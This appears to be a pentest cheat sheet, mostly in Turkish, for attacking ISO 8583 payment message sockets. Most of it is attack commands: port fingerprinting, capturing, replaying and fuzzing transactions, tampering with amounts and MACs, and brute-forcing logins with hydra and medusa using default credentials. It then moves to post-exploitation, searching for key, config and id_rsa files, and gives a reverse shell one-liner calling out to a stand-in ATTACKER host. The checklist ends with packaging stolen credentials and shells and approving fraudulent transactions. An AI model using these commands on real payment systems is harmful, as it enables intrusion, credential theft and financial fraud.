Skip to content

Pentesting ISO 8583 Payment Sockets

ISO-8583 payment

Ödeme mesajları sabit alanlı binary protokoldür. Replay, field manipulation ve zayıf MAC kritiktir. Hedef lab IP’si üzerinde komutları 8583 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. Socket yakala.

  2. Parse fields.

  3. Replay/mutate.

  4. Auth/MAC zayıflığı.

Terminal window
nc -nv TARGET PORT
Terminal window
sudo tcpdump -ni any -w iso.pcap host TARGET
Terminal window
python3 iso8583_decode.py iso.pcap
Terminal window
python3 iso_replay.py TARGET PORT msg.bin
Terminal window
python3 iso_fuzz.py TARGET PORT
MTI/STAN/amount tamper; weak MAC key

ISO 8583 Payment Sockets için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p8583 TARGET
Terminal window
nmap -Pn -p8583 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:8583' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',8583));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ISO 8583 Payment Sockets
Terminal window
hydra -L users.txt -P rockyou.txt -s 8583 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 8583
Terminal window
nmap -p8583 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit ISO-8583
Terminal window
msfconsole -q -x 'search ISO-8583; exit'
Terminal window
nuclei -u https://TARGET:8583 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:8583 -tags tech -silent || true
Terminal window
nc -nv TARGET 8583
Terminal window
printf '
' | timeout 3 nc -nv TARGET 8583
Terminal window
curl -vk --http1.0 http://TARGET:8583/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
pcap → mutate → approve fraud / logic bug